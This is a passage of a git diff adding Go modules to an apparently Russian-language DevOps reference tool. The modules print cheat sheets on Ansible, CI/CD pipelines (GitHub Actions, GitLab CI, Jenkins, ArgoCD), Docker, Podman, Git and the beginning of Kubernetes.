||||
|
||||
{% if ssl_enabled %}
|
||||
listen 443 ssl;
|
||||
ssl_certificate {{ ssl_cert_path }};
|
||||
{% endif %}
|
||||
|
||||
{% for location in nginx_locations %}
|
||||
location {{ location.path }} {
|
||||
proxy_pass {{ location.backend }};
|
||||
}
|
||||
{% endfor %}
|
||||
}
|
||||
}
|
||||
|
||||
# Фильтры Jinja2:
|
||||
{{ variable | default('fallback') }}
|
||||
{{ list | join(', ') }}
|
||||
{{ string | upper }}
|
||||
{{ path | basename }}
|
||||
{{ number | int }}`)
|
||||
|
||||
utils.Section("Роли (Roles)")
|
||||
utils.Code(`# Структура роли:
|
||||
roles/
|
||||
└── nginx/
|
||||
├── defaults/main.yml # переменные по умолчанию
|
||||
├── vars/main.yml # жёсткие переменные
|
||||
├── tasks/main.yml # задачи
|
||||
├── handlers/main.yml # обработчики
|
||||
├── templates/ # шаблоны Jinja2
|
||||
├── files/ # статические файлы
|
||||
├── meta/main.yml # зависимости
|
||||
└── README.md
|
||||
|
||||
# Создать структуру:
|
||||
ansible-galaxy role init roles/nginx
|
||||
|
||||
# Использование роли в playbook:
|
||||
- hosts: webservers
|
||||
roles:
|
||||
- nginx
|
||||
- role: postgresql
|
||||
vars:
|
||||
pg_version: 16
|
||||
|
||||
# Установить роль из Galaxy:
|
||||
ansible-galaxy install geerlingguy.nginx
|
||||
# requirements.yml:
|
||||
roles:
|
||||
- name: geerlingguy.nginx
|
||||
version: "3.2.0"
|
||||
ansible-galaxy install -r requirements.yml`)
|
||||
|
||||
utils.Section("Ansible Vault — шифрование секретов")
|
||||
utils.Code(`# Зашифровать файл:
|
||||
ansible-vault encrypt vars/secrets.yml
|
||||
ansible-vault encrypt_string 'mypassword' --name db_password
|
||||
|
||||
# Редактировать зашифрованный файл:
|
||||
ansible-vault edit vars/secrets.yml
|
||||
|
||||
# Просмотр:
|
||||
ansible-vault view vars/secrets.yml
|
||||
|
||||
# Расшифровать:
|
||||
ansible-vault decrypt vars/secrets.yml
|
||||
|
||||
# Изменить пароль:
|
||||
ansible-vault rekey vars/secrets.yml
|
||||
|
||||
# Использование в playbook:
|
||||
ansible-playbook site.yml --ask-vault-pass
|
||||
ansible-playbook site.yml --vault-password-file ~/.vault_pass
|
||||
|
||||
# .vault_pass (файл с паролем, не коммитить!):
|
||||
echo 'myVaultPassword' > ~/.vault_pass
|
||||
chmod 600 ~/.vault_pass`)
|
||||
|
||||
utils.Footer()
|
||||
}
|
||||
294
modules/devopsmodules/devops_cicd.go
Normal file
294
modules/devopsmodules/devops_cicd.go
Normal file
|
|
@ -0,0 +1,294 @@
|
|||
package devopsmodules
|
||||
|
||||
import (
|
||||
"rubric/utils"
|
||||
)
|
||||
|
||||
var CicdModule = Module{
|
||||
Key: "cicd",
|
||||
Aliases: []string{"ci", "cd", "pipeline"},
|
||||
Title: "CI/CD — непрерывная интеграция и доставка",
|
||||
Description: "GitHub Actions, GitLab CI, Jenkins, принципы CI/CD",
|
||||
Run: showCicd,
|
||||
}
|
||||
|
||||
func showCicd() {
|
||||
utils.Header("DevOps — CI/CD")
|
||||
|
||||
utils.Section("Принципы CI/CD")
|
||||
utils.Code(`CI (Continuous Integration) — непрерывная интеграция:
|
||||
- Разработчики часто коммитят в общую ветку
|
||||
- Автоматически запускаются: сборка, тесты, линтинг
|
||||
- Быстрая обратная связь (< 10 минут)
|
||||
|
||||
CD (Continuous Delivery) — непрерывная доставка:
|
||||
- Код всегда готов к деплою
|
||||
- Деплой в staging автоматически
|
||||
- В продакшн — одним кликом или автоматически
|
||||
|
||||
Типичный пайплайн:
|
||||
Коммит → Lint → Test → Build → Security scan → Deploy staging → Deploy prod
|
||||
|
||||
Метрики:
|
||||
Lead time — время от коммита до продакшна
|
||||
Deploy freq — частота деплоев
|
||||
MTTR — среднее время восстановления
|
||||
Change fail % — процент неудачных деплоев`)
|
||||
|
||||
utils.Section("GitHub Actions")
|
||||
utils.Code(`# .github/workflows/ci.yml
|
||||
name: CI/CD
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [main, develop]
|
||||
pull_request:
|
||||
branches: [main]
|
||||
|
||||
env:
|
||||
REGISTRY: ghcr.io
|
||||
IMAGE_NAME: ${{ github.repository }}
|
||||
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
services:
|
||||
postgres:
|
||||
image: postgres:16
|
||||
env:
|
||||
POSTGRES_PASSWORD: secret
|
||||
options: >-
|
||||
--health-cmd pg_isready
|
||||
--health-interval 10s
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: '1.22'
|
||||
cache: true
|
||||
|
||||
- name: Run tests
|
||||
run: go test -v -race -coverprofile=coverage.out ./...
|
||||
|
||||
- name: Upload coverage
|
||||
uses: codecov/codecov-action@v4
|
||||
|
||||
lint:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: golangci/golangci-lint-action@v4
|
||||
|
||||
build-and-push:
|
||||
needs: [test, lint]
|
||||
runs-on: ubuntu-latest
|
||||
if: github.ref == 'refs/heads/main'
|
||||
permissions:
|
||||
contents: read
|
||||
packages: write
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Log in to registry
|
||||
uses: docker/login-action@v3
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v5
|
||||
with:
|
||||
push: true
|
||||
tags: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }}
|
||||
cache-from: type=gha
|
||||
cache-to: type=gha,mode=max
|
||||
|
||||
deploy:
|
||||
needs: build-and-push
|
||||
runs-on: ubuntu-latest
|
||||
environment: production # требует ручного подтверждения
|
||||
|
||||
steps:
|
||||
- name: Deploy to Kubernetes
|
||||
uses: azure/k8s-deploy@v4
|
||||
with:
|
||||
manifests: k8s/
|
||||
images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }}`)
|
||||
|
||||
utils.Println(utils.ColorBold + "GitHub Actions — ключевые концепции:" + utils.ColorReset)
|
||||
utils.Code(`Workflow — файл в .github/workflows/*.yml
|
||||
Job — набор шагов, запускается на runner
|
||||
Step — команда или action
|
||||
Runner — виртуальная машина (ubuntu/windows/macos)
|
||||
Action — переиспользуемый step (uses: actions/checkout@v4)
|
||||
Secret — зашифрованные переменные (Settings → Secrets)
|
||||
Environment — защищённая среда с approval (production, staging)
|
||||
Matrix — параллельный запуск с разными параметрами:
|
||||
|
||||
strategy:
|
||||
matrix:
|
||||
go: ['1.21', '1.22']
|
||||
os: [ubuntu-latest, macos-latest]`)
|
||||
|
||||
utils.Section("GitLab CI/CD")
|
||||
utils.Code(`# .gitlab-ci.yml
|
||||
stages:
|
||||
- test
|
||||
- build
|
||||
- deploy
|
||||
|
||||
variables:
|
||||
DOCKER_IMAGE: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHORT_SHA
|
||||
|
||||
test:
|
||||
stage: test
|
||||
image: golang:1.22
|
||||
script:
|
||||
- go test ./...
|
||||
- go vet ./...
|
||||
coverage: '/coverage: \d+\.\d+%/'
|
||||
artifacts:
|
||||
reports:
|
||||
coverage_report:
|
||||
coverage_format: cobertura
|
||||
path: coverage.xml
|
||||
|
||||
build:
|
||||
stage: build
|
||||
image: docker:24
|
||||
services:
|
||||
- docker:24-dind
|
||||
before_script:
|
||||
- docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
|
||||
script:
|
||||
- docker build -t $DOCKER_IMAGE .
|
||||
- docker push $DOCKER_IMAGE
|
||||
only:
|
||||
- main
|
||||
|
||||
deploy_staging:
|
||||
stage: deploy
|
||||
script:
|
||||
- kubectl set image deployment/myapp myapp=$DOCKER_IMAGE
|
||||
environment:
|
||||
name: staging
|
||||
url: https://staging.example.com
|
||||
only:
|
||||
- main
|
||||
|
||||
deploy_prod:
|
||||
stage: deploy
|
||||
script:
|
||||
- kubectl set image deployment/myapp myapp=$DOCKER_IMAGE
|
||||
environment:
|
||||
name: production
|
||||
url: https://example.com
|
||||
when: manual # ручной запуск
|
||||
only:
|
||||
- main`)
|
||||
|
||||
utils.Println(utils.ColorBold + "Встроенные переменные GitLab CI:" + utils.ColorReset)
|
||||
utils.Code(`CI_COMMIT_SHA — полный SHA коммита
|
||||
CI_COMMIT_SHORT_SHA — короткий SHA
|
||||
CI_COMMIT_BRANCH — ветка
|
||||
CI_COMMIT_TAG — тег (если есть)
|
||||
CI_REGISTRY — адрес реестра (registry.gitlab.com)
|
||||
CI_REGISTRY_IMAGE — полный путь образа
|
||||
CI_PROJECT_NAME — имя проекта
|
||||
CI_ENVIRONMENT_NAME — имя окружения`)
|
||||
|
||||
utils.Section("Jenkins")
|
||||
utils.Code(`// Jenkinsfile (Declarative Pipeline):
|
||||
pipeline {
|
||||
agent any
|
||||
|
||||
environment {
|
||||
DOCKER_CREDS = credentials('docker-hub')
|
||||
KUBECONFIG = credentials('kubeconfig-prod')
|
||||
}
|
||||
|
||||
stages {
|
||||
stage('Checkout') {
|
||||
steps { checkout scm }
|
||||
}
|
||||
|
||||
stage('Test') {
|
||||
steps {
|
||||
sh 'go test ./...'
|
||||
}
|
||||
post {
|
||||
always {
|
||||
junit 'test-results.xml'
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
stage('Build') {
|
||||
steps {
|
||||
sh """
|
||||
docker build -t myapp:${env.BUILD_NUMBER} .
|
||||
docker tag myapp:${env.BUILD_NUMBER} myrepo/myapp:latest
|
||||
"""
|
||||
}
|
||||
}
|
||||
|
||||
stage('Push') {
|
||||
steps {
|
||||
sh """
|
||||
echo $DOCKER_CREDS_PSW | docker login -u $DOCKER_CREDS_USR --password-stdin
|
||||
docker push myrepo/myapp:${env.BUILD_NUMBER}
|
||||
"""
|
||||
}
|
||||
}
|
||||
|
||||
stage('Deploy') {
|
||||
when { branch 'main' }
|
||||
steps {
|
||||
input message: 'Деплоить в продакшн?'
|
||||
sh "kubectl set image deployment/myapp myapp=myrepo/myapp:${env.BUILD_NUMBER}"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
post {
|
||||
failure {
|
||||
slackSend channel: '#alerts', message: "FAILED: ${env.JOB_NAME} ${env.BUILD_NUMBER}"
|
||||
}
|
||||
success {
|
||||
slackSend channel: '#deployments', message: "DEPLOYED: ${env.JOB_NAME} ${env.BUILD_NUMBER}"
|
||||
}
|
||||
}
|
||||
}`)
|
||||
|
||||
utils.Section("ArgoCD — GitOps")
|
||||
utils.Code(`GitOps — Git как единственный источник истины для инфраструктуры.
|
||||
ArgoCD наблюдает за Git-репозиторием и синхронизирует кластер.
|
||||
|
||||
# Установка:
|
||||
kubectl create namespace argocd
|
||||
kubectl apply -n argocd -f \
|
||||
https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml
|
||||
|
||||
# CLI:
|
||||
argocd login argocd.example.com
|
||||
|
||||
# Создать приложение:
|
||||
argocd app create myapp \
|
||||
--repo https://github.com/user/myapp \
|
||||
--path k8s/ \
|
||||
--dest-server https://kubernetes.default.svc \
|
||||
--dest-namespace production \
|
||||
--sync-policy automated \
|
||||
--auto-prune
|
||||
|
||||
argocd app list
|
||||
argocd app sync myapp
|
||||
argocd app rollback myapp 3`)
|
||||
|
||||
utils.Footer()
|
||||
}
|
||||
250
modules/devopsmodules/devops_docker.go
Normal file
250
modules/devopsmodules/devops_docker.go
Normal file
|
|
@ -0,0 +1,250 @@
|
|||
package devopsmodules
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"rubric/utils"
|
||||
)
|
||||
|
||||
var DockerModule = Module{
|
||||
Key: "docker",
|
||||
Aliases: []string{"d", "container", "podman"},
|
||||
Title: "Docker и контейнеры",
|
||||
Description: "Образы, контейнеры, Dockerfile, Compose, сети, тома, Podman",
|
||||
Run: showDocker,
|
||||
}
|
||||
|
||||
func showDocker() {
|
||||
utils.Header("DevOps — Docker и контейнеры")
|
||||
|
||||
utils.Section("Основные понятия")
|
||||
utils.Code(`Image (образ) — неизменяемый шаблон (слои файловой системы)
|
||||
Container — запущенный экземпляр образа (изолированный процесс)
|
||||
Dockerfile — инструкции для сборки образа
|
||||
Registry — хранилище образов (Docker Hub, GHCR, ECR, Harbor)
|
||||
Volume — постоянное хранилище данных вне контейнера
|
||||
Network — виртуальная сеть между контейнерами
|
||||
|
||||
Изоляция через технологии ядра Linux:
|
||||
- namespaces (PID, net, mnt, uts, ipc, user)
|
||||
- cgroups (ограничение ресурсов)
|
||||
- Union FS (слоистая файловая система)`)
|
||||
|
||||
utils.Section("Управление образами")
|
||||
utils.Command("docker images", "список образов")
|
||||
utils.Command("docker pull nginx:1.25", "скачать образ")
|
||||
utils.Command("docker pull nginx:latest", "последняя версия")
|
||||
utils.Command("docker push myrepo/myapp:1.0", "отправить в реестр")
|
||||
utils.Command("docker build -t myapp:1.0 .", "собрать образ из Dockerfile")
|
||||
utils.Command("docker build -t myapp:1.0 -f Dockerfile.prod .", "из другого Dockerfile")
|
||||
utils.Command("docker rmi nginx:latest", "удалить образ")
|
||||
utils.Command("docker image prune", "удалить неиспользуемые образы")
|
||||
utils.Command("docker inspect nginx", "подробная информация об образе")
|
||||
utils.Command("docker history nginx", "слои образа")
|
||||
utils.Command("docker save myapp:1.0 | gzip > myapp.tar.gz", "экспорт образа")
|
||||
utils.Command("docker load < myapp.tar.gz", "импорт образа")
|
||||
|
||||
utils.Section("Управление контейнерами")
|
||||
utils.Command("docker run nginx", "запустить контейнер")
|
||||
utils.Command("docker run -d nginx", "в фоне (detached)")
|
||||
utils.Command("docker run -d -p 8080:80 --name web nginx", "с портом и именем")
|
||||
utils.Command("docker run -it ubuntu bash", "интерактивно с терминалом")
|
||||
utils.Command("docker run --rm alpine echo 'hello'", "удалить после остановки")
|
||||
fmt.Println()
|
||||
utils.Code(`# Часто используемые флаги run:
|
||||
-d — фоновый режим
|
||||
-p 8080:80 — проброс порта (host:container)
|
||||
-P — автоматический проброс всех портов
|
||||
--name web — имя контейнера
|
||||
-e KEY=value — переменная окружения
|
||||
--env-file .env — переменные из файла
|
||||
-v /host:/cont — монтирование тома
|
||||
--network mynet — подключить к сети
|
||||
--restart=always — автоперезапуск
|
||||
--rm — удалить контейнер после остановки
|
||||
--memory=512m — ограничение RAM
|
||||
--cpus=0.5 — ограничение CPU
|
||||
-u 1000:1000 — пользователь`)
|
||||
|
||||
utils.Println(utils.ColorBold + "Жизненный цикл контейнера:" + utils.ColorReset)
|
||||
utils.Command("docker ps", "запущенные контейнеры")
|
||||
utils.Command("docker ps -a", "все контейнеры включая остановленные")
|
||||
utils.Command("docker stop web", "остановить (SIGTERM)")
|
||||
utils.Command("docker kill web", "принудительно (SIGKILL)")
|
||||
utils.Command("docker start web", "запустить остановленный")
|
||||
utils.Command("docker restart web", "перезапустить")
|
||||
utils.Command("docker rm web", "удалить остановленный")
|
||||
utils.Command("docker rm -f web", "удалить принудительно")
|
||||
utils.Command("docker container prune", "удалить все остановленные")
|
||||
fmt.Println()
|
||||
utils.Println(utils.ColorBold + "Взаимодействие с контейнером:" + utils.ColorReset)
|
||||
utils.Command("docker exec -it web bash", "открыть shell в запущенном")
|
||||
utils.Command("docker exec web ls /etc/nginx", "выполнить команду")
|
||||
utils.Command("docker logs web", "логи контейнера")
|
||||
utils.Command("docker logs -f web", "следить за логами")
|
||||
utils.Command("docker logs --tail 100 web", "последние 100 строк")
|
||||
utils.Command("docker cp web:/etc/nginx/nginx.conf .", "скопировать файл из контейнера")
|
||||
utils.Command("docker cp nginx.conf web:/etc/nginx/", "скопировать в контейнер")
|
||||
utils.Command("docker stats", "использование ресурсов")
|
||||
utils.Command("docker top web", "процессы в контейнере")
|
||||
|
||||
utils.Section("Dockerfile")
|
||||
utils.Code(`# Dockerfile — инструкции сборки образа:
|
||||
FROM ubuntu:22.04 # базовый образ
|
||||
LABEL maintainer="alice@example.com" # метаданные
|
||||
|
||||
# Установка зависимостей:
|
||||
RUN apt-get update && \
|
||||
apt-get install -y python3 python3-pip && \
|
||||
rm -rf /var/lib/apt/lists/* # очищаем кэш в том же слое
|
||||
|
||||
WORKDIR /app # рабочая директория
|
||||
COPY requirements.txt . # копировать файлы
|
||||
RUN pip install -r requirements.txt # установить зависимости
|
||||
COPY . . # копировать код
|
||||
|
||||
ENV APP_ENV=production # переменные окружения
|
||||
EXPOSE 8000 # документировать порт
|
||||
VOLUME ["/app/data"] # объявить том
|
||||
|
||||
USER 1000:1000 # непривилегированный пользователь
|
||||
CMD ["python3", "-m", "uvicorn", "main:app", "--host", "0.0.0.0"]`)
|
||||
|
||||
utils.Code(`# Многоэтапная сборка (multi-stage) — уменьшает итоговый размер:
|
||||
FROM golang:1.22 AS builder
|
||||
WORKDIR /build
|
||||
COPY go.mod go.sum ./
|
||||
RUN go mod download
|
||||
COPY . .
|
||||
RUN CGO_ENABLED=0 go build -o app .
|
||||
|
||||
FROM alpine:3.19
|
||||
RUN apk add --no-cache ca-certificates
|
||||
WORKDIR /app
|
||||
COPY --from=builder /build/app .
|
||||
USER 65534:65534
|
||||
CMD ["./app"]`)
|
||||
|
||||
utils.Note("COPY requirements.txt и pip install ПЕРЕД COPY . — слои кэшируются, сборка быстрее.")
|
||||
utils.Note("Всегда указывай конкретный тег образа (не latest) для воспроизводимости.")
|
||||
|
||||
utils.Section("Тома (Volumes)")
|
||||
utils.Code(`Типы хранилища:
|
||||
Volume — управляется Docker (/var/lib/docker/volumes/)
|
||||
Bind mount — директория хоста, монтируется в контейнер
|
||||
tmpfs — только в памяти (временное)
|
||||
|
||||
# Named volume:
|
||||
docker volume create mydata
|
||||
docker run -v mydata:/app/data nginx
|
||||
docker volume ls
|
||||
docker volume inspect mydata
|
||||
docker volume rm mydata
|
||||
docker volume prune
|
||||
|
||||
# Bind mount:
|
||||
docker run -v /host/path:/container/path nginx
|
||||
docker run -v $(pwd):/app nginx # текущая директория
|
||||
|
||||
# tmpfs:
|
||||
docker run --tmpfs /tmp nginx`)
|
||||
|
||||
utils.Section("Сети (Networks)")
|
||||
utils.Code(`Типы сетей:
|
||||
bridge — виртуальная сеть по умолчанию (контейнеры изолированы от хоста)
|
||||
host — контейнер использует сеть хоста напрямую
|
||||
none — без сети
|
||||
overlay — между несколькими хостами (Docker Swarm)
|
||||
|
||||
docker network ls
|
||||
docker network create mynet
|
||||
docker network create --subnet=172.20.0.0/16 mynet
|
||||
docker run --network mynet --name db postgres
|
||||
docker run --network mynet --name app myapp # app может обращаться к db по имени!
|
||||
docker network connect mynet container1
|
||||
docker network disconnect mynet container1
|
||||
docker network inspect mynet
|
||||
docker network rm mynet`)
|
||||
|
||||
utils.Section("Docker Compose")
|
||||
utils.Code(`# docker-compose.yml — многоконтейнерное приложение:
|
||||
version: '3.9'
|
||||
|
||||
services:
|
||||
web:
|
||||
build: .
|
||||
ports:
|
||||
- "8080:8000"
|
||||
environment:
|
||||
- DATABASE_URL=postgresql://user:pass@db:5432/mydb
|
||||
volumes:
|
||||
- ./:/app
|
||||
depends_on:
|
||||
db:
|
||||
condition: service_healthy
|
||||
restart: unless-stopped
|
||||
|
||||
db:
|
||||
image: postgres:16
|
||||
environment:
|
||||
POSTGRES_USER: user
|
||||
POSTGRES_PASSWORD: pass
|
||||
POSTGRES_DB: mydb
|
||||
volumes:
|
||||
- pgdata:/var/lib/postgresql/data
|
||||
healthcheck:
|
||||
test: ["CMD-SHELL", "pg_isready -U user"]
|
||||
interval: 5s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
|
||||
redis:
|
||||
image: redis:7-alpine
|
||||
command: redis-server --appendonly yes
|
||||
volumes:
|
||||
- redisdata:/data
|
||||
|
||||
volumes:
|
||||
pgdata:
|
||||
redisdata:
|
||||
|
||||
networks:
|
||||
default:
|
||||
name: myapp-network`)
|
||||
|
||||
utils.Println(utils.ColorBold + "Команды Compose:" + utils.ColorReset)
|
||||
utils.Command("docker compose up -d", "запустить все сервисы в фоне")
|
||||
utils.Command("docker compose up -d --build", "пересобрать образы")
|
||||
utils.Command("docker compose down", "остановить и удалить контейнеры")
|
||||
utils.Command("docker compose down -v", "удалить и тома")
|
||||
utils.Command("docker compose ps", "статус сервисов")
|
||||
utils.Command("docker compose logs -f web", "логи сервиса")
|
||||
utils.Command("docker compose exec web bash", "shell в сервисе")
|
||||
utils.Command("docker compose restart web", "перезапустить сервис")
|
||||
utils.Command("docker compose scale web=3", "масштабировать сервис")
|
||||
|
||||
utils.Section("Podman — альтернатива без демона")
|
||||
utils.Code(`Podman — daemonless, rootless, совместим с Docker CLI.
|
||||
Используется в RHEL вместо Docker.
|
||||
|
||||
# Команды идентичны Docker:
|
||||
podman run -d -p 8080:80 nginx
|
||||
podman build -t myapp .
|
||||
podman ps
|
||||
podman images
|
||||
|
||||
# Rootless-контейнеры (без root):
|
||||
podman run --user 1000 nginx
|
||||
|
||||
# Podman Compose:
|
||||
podman-compose up -d
|
||||
|
||||
# Генерация systemd-юнита для контейнера:
|
||||
podman generate systemd --name mycontainer > /etc/systemd/system/mycontainer.service
|
||||
|
||||
# Podman Pod (группа контейнеров с общей сетью):
|
||||
podman pod create --name mypod -p 8080:80
|
||||
podman run -d --pod mypod nginx
|
||||
podman pod ps`)
|
||||
|
||||
utils.Footer()
|
||||
}
|
||||
148
modules/devopsmodules/devops_git.go
Normal file
148
modules/devopsmodules/devops_git.go
Normal file
|
|
@ -0,0 +1,148 @@
|
|||
package devopsmodules
|
||||
|
||||
import (
|
||||
"rubric/utils"
|
||||
)
|
||||
|
||||
var GitModule = Module{
|
||||
Key: "git",
|
||||
Aliases: []string{"g", "vcs"},
|
||||
Title: "Git — система контроля версий",
|
||||
Description: "Основы, ветвление, merge/rebase, удалённые репозитории, рабочие процессы",
|
||||
Run: showGit,
|
||||
}
|
||||
|
||||
func showGit() {
|
||||
utils.Header("DevOps — Git")
|
||||
|
||||
utils.Section("Основы и настройка")
|
||||
utils.Code(`# Первоначальная настройка:
|
||||
git config --global user.name "Alice Smith"
|
||||
git config --global user.email "alice@example.com"
|
||||
git config --global core.editor vim
|
||||
git config --global init.defaultBranch main
|
||||
git config --global pull.rebase false # merge при pull
|
||||
git config --list`)
|
||||
|
||||
utils.Println(utils.ColorBold + "Создание репозитория:" + utils.ColorReset)
|
||||
utils.Command("git init", "инициализировать в текущей папке")
|
||||
utils.Command("git clone https://github.com/user/repo", "клонировать")
|
||||
utils.Command("git clone --depth 1 https://github.com/user/repo", "только последний коммит")
|
||||
utils.Command("git clone -b develop https://github.com/user/repo", "конкретная ветка")
|
||||
|
||||
utils.Section("Базовые операции")
|
||||
utils.Code(`git status # состояние рабочей директории
|
||||
git status -s # краткий формат
|
||||
|
||||
# Staging:
|
||||
git add file.txt # конкретный файл
|
||||
git add . # все изменения
|
||||
git add -p # интерактивно по кускам
|
||||
|
||||
# Коммит:
|
||||
git commit -m "feat: добавить авторизацию"
|
||||
git commit -am "fix: исправить баг" # add + commit
|
||||
git commit --amend # изменить последний коммит
|
||||
|
||||
# История:
|
||||
git log --oneline --graph --all # граф всех веток
|
||||
git log --since="2 weeks ago" --author="Alice"
|
||||
git log -p file.txt # история файла с диффом`)
|
||||
|
||||
utils.Println(utils.ColorBold + "Diff и просмотр:" + utils.ColorReset)
|
||||
utils.Command("git diff", "изменения не в staging")
|
||||
utils.Command("git diff --staged", "изменения в staging")
|
||||
utils.Command("git diff main..feature", "между ветками")
|
||||
utils.Command("git show abc1234", "конкретный коммит")
|
||||
utils.Command("git blame file.txt", "кто написал каждую строку")
|
||||
|
||||
utils.Section("Ветвление")
|
||||
utils.Code(`git branch # список локальных веток
|
||||
git branch -a # включая удалённые
|
||||
git switch -c feature/login # создать и переключиться
|
||||
git switch main # переключиться
|
||||
git branch -d feature/login # удалить влитую ветку
|
||||
git branch -D feature/login # принудительно
|
||||
|
||||
# Merge:
|
||||
git merge --no-ff feature/login # всегда создавать merge commit
|
||||
git merge --squash feature/login # слить все коммиты в один
|
||||
git merge --abort # отменить при конфликте
|
||||
|
||||
# Rebase:
|
||||
git rebase main # перенести коммиты поверх main
|
||||
git rebase -i HEAD~3 # интерактивный (squash, reword, drop...)
|
||||
git rebase --abort / --continue`)
|
||||
|
||||
utils.Note("Не делай rebase публичных веток, которые уже запушены.")
|
||||
|
||||
utils.Section("Удалённые репозитории")
|
||||
utils.Command("git remote -v", "список удалённых")
|
||||
utils.Command("git remote add origin https://github.com/user/repo", "добавить")
|
||||
utils.Command("git fetch --all", "скачать изменения без слияния")
|
||||
utils.Command("git pull --rebase", "fetch + rebase")
|
||||
utils.Command("git push -u origin feature/login", "отправить и установить upstream")
|
||||
utils.Command("git push --force-with-lease", "force push с проверкой (безопаснее --force)")
|
||||
|
||||
utils.Section("Откат изменений")
|
||||
utils.Code(`git restore file.txt # вернуть файл как в HEAD
|
||||
git restore --staged file.txt # убрать из staging
|
||||
git revert HEAD # новый коммит-отмена
|
||||
git reset HEAD~1 # убрать последний коммит, оставить изменения
|
||||
git reset --hard HEAD~1 # убрать коммит И изменения (осторожно!)
|
||||
|
||||
# Stash — временное сохранение:
|
||||
git stash push -m "wip: форма логина"
|
||||
git stash list
|
||||
git stash pop # восстановить последний
|
||||
git stash branch feature/wip # создать ветку из stash`)
|
||||
|
||||
utils.Section("Теги и продвинутые команды")
|
||||
utils.Code(`git tag -a v1.0.0 -m "Релиз" # аннотированный тег
|
||||
git push origin --tags # отправить все теги
|
||||
|
||||
# Cherry-pick — перенести конкретный коммит:
|
||||
git cherry-pick abc1234
|
||||
|
||||
# Bisect — бинарный поиск бага:
|
||||
git bisect start
|
||||
git bisect bad # текущая версия сломана
|
||||
git bisect good v1.0.0 # эта работала
|
||||
# git bisect good / bad до нахождения
|
||||
git bisect reset`)
|
||||
|
||||
utils.Section("Рабочие процессы (Workflows)")
|
||||
utils.Code(`Git Flow:
|
||||
main — продакшн (только теги релизов)
|
||||
develop — интеграционная ветка
|
||||
feature/* — новые функции (от develop)
|
||||
release/* — подготовка релиза
|
||||
hotfix/* — срочные правки (от main)
|
||||
|
||||
GitHub Flow (проще):
|
||||
main — всегда рабочий код
|
||||
feature/* — ветка от main → Pull Request → merge
|
||||
|
||||
Trunk-Based Development (для CI/CD):
|
||||
main — единая ветка, коммиты несколько раз в день
|
||||
Короткоживущие ветки (< 1 дня), feature flags
|
||||
|
||||
Conventional Commits:
|
||||
feat: — новая функциональность
|
||||
fix: — исправление бага
|
||||
docs: — документация
|
||||
refactor: — рефакторинг
|
||||
test: — тесты
|
||||
chore: — сборка, зависимости`)
|
||||
|
||||
utils.Code(`# .gitignore — игнорируемые файлы:
|
||||
*.log
|
||||
node_modules/
|
||||
.env
|
||||
__pycache__/
|
||||
build/
|
||||
dist/
|
||||
.DS_Store`)
|
||||
|
||||
utils.Footer()
|
||||
}
|
||||
263
modules/devopsmodules/devops_kubernetes.go
Normal file
263
modules/devopsmodules/devops_kubernetes.go
Normal file
|
|
@ -0,0 +1,263 @@
|
|||
package devopsmodules
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"rubric/utils"
|
||||
)
|
||||
|
||||
var KubernetesModule = Module{
|
||||
Key: "kubernetes",
|
||||
Aliases: []string{"k8s", "k", "kube"},
|
||||
Title: "Kubernetes",
|
||||
Description: "Архитектура, Pod/Deployment/Service, kubectl, ConfigMap, Ingress, Helm",
|
||||
Run: showKubernetes,
|
||||
}
|
||||
|
||||
func showKubernetes() {
|
||||
utils.Header("DevOps — Kubernetes")
|
||||
|
||||
utils.Section("Архитектура кластера")
|
||||
utils.Code(`Control Plane (мастер-узлы):
|
||||
kube-apiserver — API-сервер, точка входа для всех запросов
|
||||
etcd — распределённая БД, хранит состояние кластера
|
||||
kube-scheduler — решает на какой узел помещать Pod
|
||||
kube-controller-manager — следит за состоянием (ReplicaSet, Node...)
|
||||
cloud-controller-manager — интеграция с облаком (AWS, GCP, Azure)
|
||||
|
||||
Worker Nodes (рабочие узлы):
|
||||
kubelet — агент, запускает и следит за Pod-ами
|
||||
kube-proxy — сетевые правила (iptables/ipvs)
|
||||
Container Runtime — containerd, CRI-O (запуск контейнеров)
|
||||
|
||||
Основные объекты:
|
||||
Pod — минимальная единица, 1+ контейнеров с общей сетью
|
||||
ReplicaSet — поддерживает N копий Pod-а
|
||||
Deployment — управляет ReplicaSet, rolling updates
|
||||
Service — стабильный IP/DNS для набора Pod-ов
|
||||
Ingress — HTTP-маршрутизация снаружи в Service
|
||||
ConfigMap — конфигурация (не секреты)
|
||||
Secret — секреты (base64)
|
||||
Namespace — логическое разделение кластера
|
||||
PV/PVC — постоянное хранилище
|
||||
StatefulSet — Pod-ы с постоянной идентичностью (БД)
|
||||
DaemonSet — по одному Pod-у на каждый узел
|
||||
Job/CronJob — разовые и периодические задачи`)
|
||||
|
||||
utils.Section("kubectl — основные команды")
|
||||
utils.Code(`# Контексты и кластеры:
|
||||
kubectl config get-contexts # список контекстов
|
||||
kubectl config use-context prod # переключить кластер
|
||||
kubectl config current-context
|
||||
export KUBECONFIG=~/.kube/config`)
|
||||
|
||||
utils.Println(utils.ColorBold + "Просмотр ресурсов:" + utils.ColorReset)
|
||||
utils.Command("kubectl get pods", "Pod-ы в текущем namespace")
|
||||
utils.Command("kubectl get pods -n kube-system", "в namespace kube-system")
|
||||
utils.Command("kubectl get pods -A", "во всех namespace")
|
||||
utils.Command("kubectl get pods -o wide", "с IP и узлом")
|
||||
